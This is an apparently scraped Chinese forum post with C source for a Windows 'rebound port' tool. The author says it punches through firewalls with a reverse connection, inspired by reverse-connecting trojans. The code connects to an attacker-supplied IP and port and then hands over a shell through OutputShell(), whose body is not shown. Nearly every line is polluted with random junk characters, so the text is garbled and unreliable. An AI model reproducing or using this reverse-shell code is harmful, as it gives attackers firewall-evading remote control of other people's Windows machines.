这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 o
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/* ============================== [#Apd1S_
Rebound port in Windows NT -51LF=(!L
By wind,2006/7 ZbT$f^o}M]
===============================*/ xDw~n (*
#include ktfm
#include 'v<v6vs
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#pragma comment(lib,"wsock32.lib") $`GlXiV
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void OutputShell(); =M-=94
SOCKET sClient; A3tv'-e9
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >#:SJ?)`T
$$ *tK8#
void main(int argc,char **argv) f$:Y'$Z1
{ Zfk]Z9YO
WSADATA stWsaData; j17h_ a;
int nRet; h%F.h![*
SOCKADDR_IN stSaiClient,stSaiServer; $i+@vbU6
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if(argc != 3) AH n!>w,
{ giu{,gS0?M
printf("Useage:\n\rRebound DestIP DestPort\n"); `>UUdv{C
return; %`k [xz
} N4,oO H~
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WSAStartup(MAKEWORD(2,2),&stWsaData); z<9C-
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9soEHG=P
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stSaiClient.sin_family = AF_INET; !`N:.+DT
stSaiClient.sin_port = htons(0); N{bg-%s10i
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?WXftzdf6u
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) swZi
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{ xz0t8`NoN
printf("Bind Socket Failed!\n"); .?s jr4
return;
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} PP$2s]{
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stSaiServer.sin_family = AF_INET; @P~%4:!Hr
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); DgcS@N
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4>oM5Yf8
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) (N&i4O-I
{ V-#JV@b
printf("Connect Error!"); ]wDqdD y7S
return; tnUfi8\ob
} 67&IaDts
OutputShell(); zZPWE"u}
} u-&V